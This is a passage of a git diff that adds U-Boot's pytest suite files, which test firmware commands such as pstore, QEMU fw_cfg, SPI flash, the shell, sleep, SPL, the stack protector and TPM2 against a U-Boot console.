+    assert ('P6        : GPIO1 drive-open-drain.' in output)
+    assert ('P7        : GPIO2 bias-pull-down input-enable.' in output)
+    assert ('P8        : GPIO3 bias-disable.' in output)
diff --git a/roms/u-boot/test/py/tests/test_pstore.py b/roms/u-boot/test/py/tests/test_pstore.py
new file mode 100644
index 000000000..5a35724f6
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_pstore.py
@@ -0,0 +1,77 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020, Collabora
+# Author: Frédéric Danis 
+
+import pytest
+import u_boot_utils
+import os
+import tempfile
+import shutil
+
+PSTORE_ADDR=0x3000000
+PSTORE_LENGTH=0x100000
+PSTORE_PANIC1='test/py/tests/test_pstore_data_panic1.hex'
+PSTORE_PANIC2='test/py/tests/test_pstore_data_panic2.hex'
+PSTORE_CONSOLE='test/py/tests/test_pstore_data_console.hex'
+ADDR=0x01000008
+
+def load_pstore(u_boot_console):
+    """Load PStore records from sample files"""
+
+    output = u_boot_console.run_command_list([
+        'host load hostfs - 0x%x %s' % (PSTORE_ADDR,
+            os.path.join(u_boot_console.config.source_dir, PSTORE_PANIC1)),
+        'host load hostfs - 0x%x %s' % (PSTORE_ADDR + 4096,
+            os.path.join(u_boot_console.config.source_dir, PSTORE_PANIC2)),
+        'host load hostfs - 0x%x %s' % (PSTORE_ADDR + 253 * 4096,
+            os.path.join(u_boot_console.config.source_dir, PSTORE_CONSOLE)),
+        'pstore set 0x%x 0x%x' % (PSTORE_ADDR, PSTORE_LENGTH)])
+
+def checkfile(u_boot_console, path, filesize, checksum):
+    """Check file against MD5 checksum"""
+
+    output = u_boot_console.run_command_list([
+        'load hostfs - %x %s' % (ADDR, path),
+        'printenv filesize'])
+    assert('filesize=%x' % (filesize) in ''.join(output))
+
+    output = u_boot_console.run_command_list([
+        'md5sum %x $filesize' % ADDR,
+        'setenv filesize'])
+    assert(checksum in ''.join(output))
+
+@pytest.mark.buildconfigspec('cmd_pstore')
+def test_pstore_display_all_records(u_boot_console):
+    """Test that pstore displays all records."""
+
+    u_boot_console.run_command('')
+    load_pstore(u_boot_console)
+    response = u_boot_console.run_command('pstore display')
+    assert('**** Dump' in response)
+    assert('**** Console' in response)
+
+@pytest.mark.buildconfigspec('cmd_pstore')
+def test_pstore_display_one_record(u_boot_console):
+    """Test that pstore displays only one record."""
+
+    u_boot_console.run_command('')
+    load_pstore(u_boot_console)
+    response = u_boot_console.run_command('pstore display dump 1')
+    assert('Panic#2 Part1' in response)
+    assert('**** Console' not in response)
+
+@pytest.mark.buildconfigspec('cmd_pstore')
+def test_pstore_save_records(u_boot_console):
+    """Test that pstore saves all records."""
+
+    outdir = tempfile.mkdtemp()
+
+    u_boot_console.run_command('')
+    load_pstore(u_boot_console)
+    u_boot_console.run_command('pstore save hostfs - %s' % (outdir))
+
+    checkfile(u_boot_console, '%s/dmesg-ramoops-0' % (outdir), 3798, '8059335ab4cfa62c77324c491659c503')
+    checkfile(u_boot_console, '%s/dmesg-ramoops-1' % (outdir), 4035, '3ff30df3429d81939c75d0070b5187b9')
+    checkfile(u_boot_console, '%s/console-ramoops-0' % (outdir), 4084, 'bb44de4a9b8ebd9b17ae98003287325b')
+
+    shutil.rmtree(outdir)
diff --git a/roms/u-boot/test/py/tests/test_pstore_data_console.hex b/roms/u-boot/test/py/tests/test_pstore_data_console.hex
new file mode 100644
index 000000000..e7f426e89
Binary files /dev/null and b/roms/u-boot/test/py/tests/test_pstore_data_console.hex differ
diff --git a/roms/u-boot/test/py/tests/test_pstore_data_panic1.hex b/roms/u-boot/test/py/tests/test_pstore_data_panic1.hex
new file mode 100644
index 000000000..988929d12
Binary files /dev/null and b/roms/u-boot/test/py/tests/test_pstore_data_panic1.hex differ
diff --git a/roms/u-boot/test/py/tests/test_pstore_data_panic2.hex b/roms/u-boot/test/py/tests/test_pstore_data_panic2.hex
new file mode 100644
index 000000000..8f9d56cbe
Binary files /dev/null and b/roms/u-boot/test/py/tests/test_pstore_data_panic2.hex differ
diff --git a/roms/u-boot/test/py/tests/test_qfw.py b/roms/u-boot/test/py/tests/test_qfw.py
new file mode 100644
index 000000000..8b668c972
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_qfw.py
@@ -0,0 +1,26 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2021, Asherah Connor 
+
+# Test qfw command implementation
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_qfw')
+def test_qfw_cpus(u_boot_console):
+    "Test QEMU firmware config reports the CPU count."
+
+    output = u_boot_console.run_command('qfw cpus')
+    # The actual number varies depending on the board under test, so only
+    # assert a non-zero output.
+    assert 'cpu(s) online' in output
+    assert '0 cpu(s) online' not in output
+
+@pytest.mark.buildconfigspec('cmd_qfw')
+def test_qfw_list(u_boot_console):
+    "Test QEMU firmware config lists devices."
+
+    output = u_boot_console.run_command('qfw list')
+    # Assert either:
+    # 1) 'test-one', from the sandbox driver, or
+    # 2) 'bootorder', found in every real QEMU implementation.
+    assert ("bootorder" in output) or ("test-one" in output)
diff --git a/roms/u-boot/test/py/tests/test_sandbox_exit.py b/roms/u-boot/test/py/tests/test_sandbox_exit.py
new file mode 100644
index 000000000..706f5fa35
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_sandbox_exit.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+import signal
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('sysreset_cmd_poweroff')
+def test_poweroff(u_boot_console):
+    """Test that the "poweroff" command exits sandbox process."""
+
+    u_boot_console.run_command('poweroff', wait_for_prompt=False)
+    assert(u_boot_console.validate_exited())
+
+@pytest.mark.boardspec('sandbox')
+def test_ctrl_c(u_boot_console):
+    """Test that sending SIGINT to sandbox causes it to exit."""
+
+    u_boot_console.kill(signal.SIGINT)
+    assert(u_boot_console.validate_exited())
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_exception')
+@pytest.mark.buildconfigspec('sandbox_crash_reset')
+def test_exception_reset(u_boot_console):
+    """Test that SIGILL causes a reset."""
+
+    u_boot_console.run_command('exception undefined', wait_for_prompt=False)
+    m = u_boot_console.p.expect(['resetting ...', 'U-Boot'])
+    if m != 0:
+        raise Exception('SIGILL did not lead to reset')
+    m = u_boot_console.p.expect(['U-Boot', '=>'])
+    if m != 0:
+        raise Exception('SIGILL did not lead to reset')
+    u_boot_console.restart_uboot()
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_exception')
+@pytest.mark.notbuildconfigspec('sandbox_crash_reset')
+def test_exception_exit(u_boot_console):
+    """Test that SIGILL causes a reset."""
+
+    u_boot_console.run_command('exception undefined', wait_for_prompt=False)
+    assert(u_boot_console.validate_exited())
diff --git a/roms/u-boot/test/py/tests/test_scp03.py b/roms/u-boot/test/py/tests/test_scp03.py
new file mode 100644
index 000000000..1f689252d
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_scp03.py
@@ -0,0 +1,27 @@
+# Copyright (c) 2021 Foundries.io Ltd
+#
+# SPDX-License-Identifier:  GPL-2.0+
+#
+# SCP03 command test
+
+"""
+This tests SCP03 command in U-boot.
+
+For additional details check doc/usage/scp03.rst
+"""
+
+import pytest
+import u_boot_utils as util
+
+@pytest.mark.buildconfigspec('cmd_scp03')
+def test_scp03(u_boot_console):
+    """Enable and provision keys with SCP03
+    """
+
+    success_str1 = "SCP03 is enabled"
+    success_str2 = "SCP03 is provisioned"
+
+    response = u_boot_console.run_command('scp03 enable')
+    assert success_str1 in response
+    response = u_boot_console.run_command('scp03 provision')
+    assert success_str2 in response
diff --git a/roms/u-boot/test/py/tests/test_sf.py b/roms/u-boot/test/py/tests/test_sf.py
new file mode 100644
index 000000000..adf8b7dc8
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_sf.py
@@ -0,0 +1,217 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, Xilinx Inc. Michal Simek
+# Copyright (c) 2017, Xiphos Systems Corp. All rights reserved.
+
+import re
+import pytest
+import random
+import u_boot_utils
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which SPI Flash areas are available for testing.  Without this, this test will
+be automatically skipped.
+For example:
+
+# A list of sections of Flash memory to be tested.
+env__sf_configs = (
+    {
+        # Where in SPI Flash should the test operate.
+        'offset': 0x00000000,
+        # This value is optional.
+        #   If present, specifies the [[bus:]cs] argument used in `sf probe`
+        #   If missing, defaults to 0.
+        'id': '0:1',
+        # This value is optional.
+        #   If set as a number, specifies the speed of the SPI Flash.
+        #   If set as an array of 2, specifies a range for a random speed.
+        #   If missing, defaults to 0.
+        'speed': 1000000,
+        # This value is optional.
+        #   If present, specifies the size to use for read/write operations.
+        #   If missing, the SPI Flash page size is used as a default (based on
+        #   the `sf probe` output).
+        'len': 0x10000,
+        # This value is optional.
+        #   If present, specifies if the test can write to Flash offset
+        #   If missing, defaults to False.
+        'writeable': False,
+        # This value is optional.
+        #   If present, specifies the expected CRC32 value of the flash area.
+        #   If missing, extra check is ignored.
+        'crc32': 0xCAFECAFE,
+    },
+)
+"""
+
+def sf_prepare(u_boot_console, env__sf_config):
+    """Check global state of the SPI Flash before running any test.
+
+   Args:
+        u_boot_console: A U-Boot console connection.
+        env__sf_config: The single SPI Flash device configuration on which to
+            run the tests.
+
+    Returns:
+        sf_params: a dictionary of SPI Flash parameters.
+    """
+
+    sf_params = {}
+    sf_params['ram_base'] = u_boot_utils.find_ram_base(u_boot_console)
+
+    probe_id = env__sf_config.get('id', 0)
+    speed = env__sf_config.get('speed', 0)
+    if isinstance(speed, int):
+        sf_params['speed'] = speed
+    else:
+        assert len(speed) == 2, "If speed is a list, it must have 2 entries"
+        sf_params['speed'] = random.randint(speed[0], speed[1])
+
+    cmd = 'sf probe %d %d' % (probe_id, sf_params['speed'])
+
+    output = u_boot_console.run_command(cmd)
+    assert 'SF: Detected' in output, 'No Flash device available'
+
+    m = re.search('page size (.+?) Bytes', output)
+    assert m, 'SPI Flash page size not recognized'
+    sf_params['page_size'] = int(m.group(1))
+
+    m = re.search('erase size (.+?) KiB', output)
+    assert m, 'SPI Flash erase size not recognized'
+    sf_params['erase_size'] = int(m.group(1))
+    sf_params['erase_size'] *= 1024
+
+    m = re.search('total (.+?) MiB', output)
+    assert m, 'SPI Flash total size not recognized'
+    sf_params['total_size'] = int(m.group(1))
+    sf_params['total_size'] *= 1024 * 1024
+
+    assert 'offset' in env__sf_config, \
+        '\'offset\' is required for this test.'
+    sf_params['len'] = env__sf_config.get('len', sf_params['erase_size'])
+
+    assert not env__sf_config['offset'] % sf_params['erase_size'], \
+        'offset not multiple of erase size.'
+    assert not sf_params['len'] % sf_params['erase_size'], \
+        'erase length not multiple of erase size.'
+
+    assert not (env__sf_config.get('writeable', False) and
+                'crc32' in env__sf_config), \
+        'Cannot check crc32 on writeable sections'
+
+    return sf_params
+
+def sf_read(u_boot_console, env__sf_config, sf_params):
+    """Helper function used to read and compute the CRC32 value of a section of
+    SPI Flash memory.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__sf_config: The single SPI Flash device configuration on which to
+            run the tests.
+        sf_params: SPI Flash parameters.
+
+    Returns:
+        CRC32 value of SPI Flash section
+    """
+
+    addr = sf_params['ram_base']
+    offset = env__sf_config['offset']
+    count = sf_params['len']
+    pattern = random.randint(0, 0xFF)
+    crc_expected = env__sf_config.get('crc32', None)
+
+    cmd = 'mw.b %08x %02x %x' % (addr, pattern, count)
+    u_boot_console.run_command(cmd)
+    crc_pattern = u_boot_utils.crc32(u_boot_console, addr, count)
+    if crc_expected:
+        assert crc_pattern != crc_expected
+
+    cmd = 'sf read %08x %08x %x' % (addr, offset, count)
+    response = u_boot_console.run_command(cmd)
+    assert 'Read: OK' in response, 'Read operation failed'
+    crc_readback = u_boot_utils.crc32(u_boot_console, addr, count)
+    assert crc_pattern != crc_readback, 'sf read did not update RAM content.'
+    if crc_expected:
+        assert crc_readback == crc_expected
+
+    return crc_readback
+
+def sf_update(u_boot_console, env__sf_config, sf_params):
+    """Helper function used to update a section of SPI Flash memory.
+
+   Args:
+        u_boot_console: A U-Boot console connection.
+        env__sf_config: The single SPI Flash device configuration on which to
+           run the tests.
+
+    Returns:
+        CRC32 value of SPI Flash section
+    """
+
+    addr = sf_params['ram_base']
+    offset = env__sf_config['offset']
+    count = sf_params['len']
+    pattern = int(random.random() * 0xFF)
+
+    cmd = 'mw.b %08x %02x %x' % (addr, pattern, count)
+    u_boot_console.run_command(cmd)
+    crc_pattern = u_boot_utils.crc32(u_boot_console, addr, count)
+
+    cmd = 'sf update %08x %08x %x' % (addr, offset, count)
+    u_boot_console.run_command(cmd)
+    crc_readback = sf_read(u_boot_console, env__sf_config, sf_params)
+
+    assert crc_readback == crc_pattern
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_read(u_boot_console, env__sf_config):
+    sf_params = sf_prepare(u_boot_console, env__sf_config)
+    sf_read(u_boot_console, env__sf_config, sf_params)
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_read_twice(u_boot_console, env__sf_config):
+    sf_params = sf_prepare(u_boot_console, env__sf_config)
+
+    crc1 = sf_read(u_boot_console, env__sf_config, sf_params)
+    sf_params['ram_base'] += 0x100
+    crc2 = sf_read(u_boot_console, env__sf_config, sf_params)
+
+    assert crc1 == crc2, 'CRC32 of two successive read operation do not match'
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_erase(u_boot_console, env__sf_config):
+    if not env__sf_config.get('writeable', False):
+        pytest.skip('Flash config is tagged as not writeable')
+
+    sf_params = sf_prepare(u_boot_console, env__sf_config)
+    addr = sf_params['ram_base']
+    offset = env__sf_config['offset']
+    count = sf_params['len']
+
+    cmd = 'sf erase %08x %x' % (offset, count)
+    output = u_boot_console.run_command(cmd)
+    assert 'Erased: OK' in output, 'Erase operation failed'
+
+    cmd = 'mw.b %08x ff %x' % (addr, count)
+    u_boot_console.run_command(cmd)
+    crc_ffs = u_boot_utils.crc32(u_boot_console, addr, count)
+
+    crc_read = sf_read(u_boot_console, env__sf_config, sf_params)
+    assert crc_ffs == crc_read, 'Unexpected CRC32 after erase operation.'
+
+@pytest.mark.buildconfigspec('cmd_sf')
+@pytest.mark.buildconfigspec('cmd_crc32')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_sf_update(u_boot_console, env__sf_config):
+    if not env__sf_config.get('writeable', False):
+        pytest.skip('Flash config is tagged as not writeable')
+
+    sf_params = sf_prepare(u_boot_console, env__sf_config)
+    sf_update(u_boot_console, env__sf_config, sf_params)
diff --git a/roms/u-boot/test/py/tests/test_shell_basics.py b/roms/u-boot/test/py/tests/test_shell_basics.py
new file mode 100644
index 000000000..68a3f892f
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_shell_basics.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test basic shell functionality, such as commands separate by semi-colons.
+
+import pytest
+
+pytestmark = pytest.mark.buildconfigspec('cmd_echo')
+
+def test_shell_execute(u_boot_console):
+    """Test any shell command."""
+
+    response = u_boot_console.run_command('echo hello')
+    assert response.strip() == 'hello'
+
+def test_shell_semicolon_two(u_boot_console):
+    """Test two shell commands separate by a semi-colon."""
+
+    cmd = 'echo hello; echo world'
+    response = u_boot_console.run_command(cmd)
+    # This validation method ignores the exact whitespace between the strings
+    assert response.index('hello') < response.index('world')
+
+def test_shell_semicolon_three(u_boot_console):
+    """Test three shell commands separate by a semi-colon, with variable
+    expansion dependencies between them."""
+
+    cmd = 'setenv list 1; setenv list ${list}2; setenv list ${list}3; ' + \
+        'echo ${list}'
+    response = u_boot_console.run_command(cmd)
+    assert response.strip() == '123'
+    u_boot_console.run_command('setenv list')
+
+def test_shell_run(u_boot_console):
+    """Test the "run" shell command."""
+
+    u_boot_console.run_command('setenv foo \'setenv monty 1; setenv python 2\'')
+    u_boot_console.run_command('run foo')
+    response = u_boot_console.run_command('echo ${monty}')
+    assert response.strip() == '1'
+    response = u_boot_console.run_command('echo ${python}')
+    assert response.strip() == '2'
+    u_boot_console.run_command('setenv foo')
+    u_boot_console.run_command('setenv monty')
+    u_boot_console.run_command('setenv python')
diff --git a/roms/u-boot/test/py/tests/test_sleep.py b/roms/u-boot/test/py/tests/test_sleep.py
new file mode 100644
index 000000000..392af29db
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_sleep.py
@@ -0,0 +1,43 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+import time
+
+"""
+Note: This test doesn't rely on boardenv_* configuration values but they can
+change test behavior.
+
+# Setup env__sleep_accurate to False if time is not accurate on your platform
+env__sleep_accurate = False
+
+# Setup env__sleep_time time in seconds board is set to sleep
+env__sleep_time = 3
+
+# Setup env__sleep_margin set a margin for any system overhead
+env__sleep_margin = 0.25
+
+"""
+
+def test_sleep(u_boot_console):
+    """Test the sleep command, and validate that it sleeps for approximately
+    the correct amount of time."""
+
+    sleep_skip = u_boot_console.config.env.get('env__sleep_accurate', True)
+    if not sleep_skip:
+        pytest.skip('sleep is not accurate')
+
+    if u_boot_console.config.buildconfig.get('config_cmd_misc', 'n') != 'y':
+        pytest.skip('sleep command not supported')
+
+    # 3s isn't too long, but is enough to cross a few second boundaries.
+    sleep_time = u_boot_console.config.env.get('env__sleep_time', 3)
+    sleep_margin = u_boot_console.config.env.get('env__sleep_margin', 0.25)
+    tstart = time.time()
+    u_boot_console.run_command('sleep %d' % sleep_time)
+    tend = time.time()
+    elapsed = tend - tstart
+    assert elapsed >= (sleep_time - 0.01)
+    if not u_boot_console.config.gdbserver:
+        # margin is hopefully enough to account for any system overhead.
+        assert elapsed < (sleep_time + sleep_margin)
diff --git a/roms/u-boot/test/py/tests/test_spl.py b/roms/u-boot/test/py/tests/test_spl.py
new file mode 100644
index 000000000..bd273dad8
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_spl.py
@@ -0,0 +1,34 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2020 Google LLC
+# Written by Simon Glass 
+
+import os.path
+import pytest
+
+def test_spl(u_boot_console, ut_spl_subtest):
+    """Execute a "ut" subtest.
+
+    The subtests are collected in function generate_ut_subtest() from linker
+    generated lists by applying a regular expression to the lines of file
+    spl/u-boot-spl.sym. The list entries are created using the C macro
+    UNIT_TEST().
+
+    Strict naming conventions have to be followed to match the regular
+    expression. Use UNIT_TEST(foo_test_bar, _flags, foo_test) for a test bar in
+    test suite foo that can be executed via command 'ut foo bar' and is
+    implemented in C function foo_test_bar().
+
+    Args:
+        u_boot_console (ConsoleBase): U-Boot console
+        ut_subtest (str): SPL test to be executed (e.g. 'dm platdata_phandle')
+    """
+    try:
+        cons = u_boot_console
+        cons.restart_uboot_with_flags(['-u', '-k', ut_spl_subtest.split()[1]])
+        output = cons.get_spawn_output().replace('\r', '')
+        assert 'Failures: 0' in output
+    finally:
+        # Restart afterward in case a non-SPL test is run next. This should not
+        # happen since SPL tests are run in their own invocation of test.py, but
+        # the cost of doing this is not too great at present.
+        u_boot_console.restart_uboot()
diff --git a/roms/u-boot/test/py/tests/test_stackprotector.py b/roms/u-boot/test/py/tests/test_stackprotector.py
new file mode 100644
index 000000000..b009437e5
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_stackprotector.py
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2021 Broadcom
+
+import pytest
+import signal
+
+@pytest.mark.buildconfigspec('cmd_stackprotector_test')
+def test_stackprotector(u_boot_console):
+    """Test that the stackprotector function works."""
+
+    u_boot_console.run_command('stackprot_test',wait_for_prompt=False)
+    expected_response = 'Stack smashing detected'
+    u_boot_console.wait_for(expected_response)
+    u_boot_console.restart_uboot()
diff --git a/roms/u-boot/test/py/tests/test_tpm2.py b/roms/u-boot/test/py/tests/test_tpm2.py
new file mode 100644
index 000000000..70f906da5
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_tpm2.py
@@ -0,0 +1,233 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Bootlin
+# Author: Miquel Raynal 
+
+import os.path
+import pytest
+import u_boot_utils
+import re
+import time
+
+"""
+Test the TPMv2.x related commands. You must have a working hardware setup in
+order to do these tests.
+
+Notes:
+* These tests will prove the password mechanism. The TPM chip must be cleared of
+any password.
+* Commands like pcr_setauthpolicy and pcr_resetauthpolicy are not implemented
+here because they would fail the tests in most cases (TPMs do not implement them
+and return an error).
+"""
+
+updates = 0
+
+def force_init(u_boot_console, force=False):
+    """When a test fails, U-Boot is reset. Because TPM stack must be initialized
+    after each reboot, we must ensure these lines are always executed before
+    trying any command or they will fail with no reason. Executing 'tpm init'
+    twice will spawn an error used to detect that the TPM was not reset and no
+    initialization code should be run.
+    """
+    output = u_boot_console.run_command('tpm2 init')
+    if force or not 'Error' in output:
+        u_boot_console.run_command('echo --- start of init ---')
+        u_boot_console.run_command('tpm2 startup TPM2_SU_CLEAR')
+        u_boot_console.run_command('tpm2 self_test full')
+        u_boot_console.run_command('tpm2 clear TPM2_RH_LOCKOUT')
+        output = u_boot_console.run_command('echo $?')
+        if not output.endswith('0'):
+            u_boot_console.run_command('tpm2 clear TPM2_RH_PLATFORM')
+        u_boot_console.run_command('echo --- end of init ---')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_init(u_boot_console):
+    """Init the software stack to use TPMv2 commands."""
+
+    u_boot_console.run_command('tpm2 init')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_startup(u_boot_console):
+    """Execute a TPM2_Startup command.
+
+    Initiate the TPM internal state machine.
+    """
+
+    u_boot_console.run_command('tpm2 startup TPM2_SU_CLEAR')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_self_test_full(u_boot_console):
+    """Execute a TPM2_SelfTest (full) command.
+
+    Ask the TPM to perform all self tests to also enable full capabilities.
+    """
+
+    u_boot_console.run_command('tpm2 self_test full')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_continue_self_test(u_boot_console):
+    """Execute a TPM2_SelfTest (continued) command.
+
+    Ask the TPM to finish its self tests (alternative to the full test) in order
+    to enter a fully operational state.
+    """
+
+    u_boot_console.run_command('tpm2 self_test continue')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_clear(u_boot_console):
+    """Execute a TPM2_Clear command.
+
+    Ask the TPM to reset entirely its internal state (including internal
+    configuration, passwords, counters and DAM parameters). This is half of the
+    TAKE_OWNERSHIP command from TPMv1.
+
+    Use the LOCKOUT hierarchy for this. The LOCKOUT/PLATFORM hierarchies must
+    not have a password set, otherwise this test will fail. ENDORSEMENT and
+    PLATFORM hierarchies are also available.
+    """
+
+    u_boot_console.run_command('tpm2 clear TPM2_RH_LOCKOUT')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+    u_boot_console.run_command('tpm2 clear TPM2_RH_PLATFORM')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_change_auth(u_boot_console):
+    """Execute a TPM2_HierarchyChangeAuth command.
+
+    Ask the TPM to change the owner, ie. set a new password: 'unicorn'
+
+    Use the LOCKOUT hierarchy for this. ENDORSEMENT and PLATFORM hierarchies are
+    also available.
+    """
+
+    force_init(u_boot_console)
+
+    u_boot_console.run_command('tpm2 change_auth TPM2_RH_LOCKOUT unicorn')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+    u_boot_console.run_command('tpm2 clear TPM2_RH_LOCKOUT unicorn')
+    output = u_boot_console.run_command('echo $?')
+    u_boot_console.run_command('tpm2 clear TPM2_RH_PLATFORM')
+    assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_get_capability(u_boot_console):
+    """Execute a TPM_GetCapability command.
+
+    Display one capability. In our test case, let's display the default DAM
+    lockout counter that should be 0 since the CLEAR:
+    - TPM_CAP_TPM_PROPERTIES = 0x6
+    - TPM_PT_LOCKOUT_COUNTER (1st parameter) = PTR_VAR + 14
+
+    There is no expected default values because it would depend on the chip
+    used. We can still save them in order to check they have changed later.
+    """
+
+    force_init(u_boot_console)
+    ram = u_boot_utils.find_ram_base(u_boot_console)
+
+    read_cap = u_boot_console.run_command('tpm2 get_capability 0x6 0x20e 0x200 1') #0x%x 1' % ram)
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+    assert 'Property 0x0000020e: 0x00000000' in read_cap
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_dam_parameters(u_boot_console):
+    """Execute a TPM2_DictionaryAttackParameters command.
+
+    Change Dictionary Attack Mitigation (DAM) parameters. Ask the TPM to change:
+    - Max number of failed authentication before lockout: 3
+    - Time before the failure counter is automatically decremented: 10 sec
+    - Time after a lockout failure before it can be attempted again: 0 sec
+
+    For an unknown reason, the DAM parameters must be changed before changing
+    the authentication, otherwise the lockout will be engaged after the first
+    failed authentication attempt.
+    """
+
+    force_init(u_boot_console)
+    ram = u_boot_utils.find_ram_base(u_boot_console)
+
+    # Set the DAM parameters to known values
+    u_boot_console.run_command('tpm2 dam_parameters 3 10 0')
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+    # Check the values have been saved
+    read_cap = u_boot_console.run_command('tpm2 get_capability 0x6 0x20f 0x%x 3' % ram)
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+    assert 'Property 0x0000020f: 0x00000003' in read_cap
+    assert 'Property 0x00000210: 0x0000000a' in read_cap
+    assert 'Property 0x00000211: 0x00000000' in read_cap
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_pcr_read(u_boot_console):
+    """Execute a TPM2_PCR_Read command.
+
+    Perform a PCR read of the 0th PCR. Must be zero.
+    """
+
+    force_init(u_boot_console)
+    ram = u_boot_utils.find_ram_base(u_boot_console)
+
+    read_pcr = u_boot_console.run_command('tpm2 pcr_read 0 0x%x' % ram)
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+    # Save the number of PCR updates
+    str = re.findall(r'\d+ known updates', read_pcr)[0]
+    global updates
+    updates = int(re.findall(r'\d+', str)[0])
+
+    # Check the output value
+    assert 'PCR #0 content' in read_pcr
+    assert '00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00' in read_pcr
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_pcr_extend(u_boot_console):
+    """Execute a TPM2_PCR_Extend command.
+
+    Perform a PCR extension with a known hash in memory (zeroed since the board
+    must have been rebooted).
+
+    No authentication mechanism is used here, not protecting against packet
+    replay, yet.
+    """
+
+    force_init(u_boot_console)
+    ram = u_boot_utils.find_ram_base(u_boot_console)
+
+    u_boot_console.run_command('tpm2 pcr_extend 0 0x%x' % ram)
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+
+    read_pcr = u_boot_console.run_command('tpm2 pcr_read 0 0x%x' % ram)
+    output = u_boot_console.run_command('echo $?')
+    assert output.endswith('0')
+    assert 'f5 a5 fd 42 d1 6a 20 30 27 98 ef 6e d3 09 97 9b' in read_pcr
+    assert '43 00 3d 23 20 d9 f0 e8 ea 98 31 a9 27 59 fb 4b' in read_pcr
+
+    str = re.findall(r'\d+ known updates', read_pcr)[0]
+    new_updates = int(re.findall(r'\d+', str)[0])
+    assert (updates + 1) == new_updates
+
+@pytest.mark.buildconfigspec('cmd_tpm_v2')
+def test_tpm2_cleanup(u_boot_console):
+    """Ensure the TPM is cleared from password or test related configuration."""
+
+    force_init(u_boot_console, True)
diff --git a/roms/u-boot/test/py/tests/test_ums.py b/roms/u-boot/test/py/tests/test_ums.py
new file mode 100644
index 000000000..749b16062
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_ums.py
@@ -0,0 +1,236 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test U-Boot's "ums" command. The test starts UMS in U-Boot, waits for USB
+# device enumeration on the host, reads a small block of data from the UMS
+# block device, optionally mounts a partition and performs filesystem-based
+# read/write tests, and finally aborts the "ums" command in U-Boot.
+
+import os
+import os.path
+import pytest
+import re
+import time
+import u_boot_utils
+
+"""
+Note: This test relies on:
+
+a) boardenv_* to contain configuration values to define which USB ports are
+available for testing. Without this, this test will be automatically skipped.
+For example:
+
+# Leave this list empty if you have no block_devs below with writable
+# partitions defined.
+env__mount_points = (
+    '/mnt/ubtest-mnt-p2371-2180-na',
+)
+
+env__usb_dev_ports = (
+    {
+        'fixture_id': 'micro_b',
+        'tgt_usb_ctlr': '0',
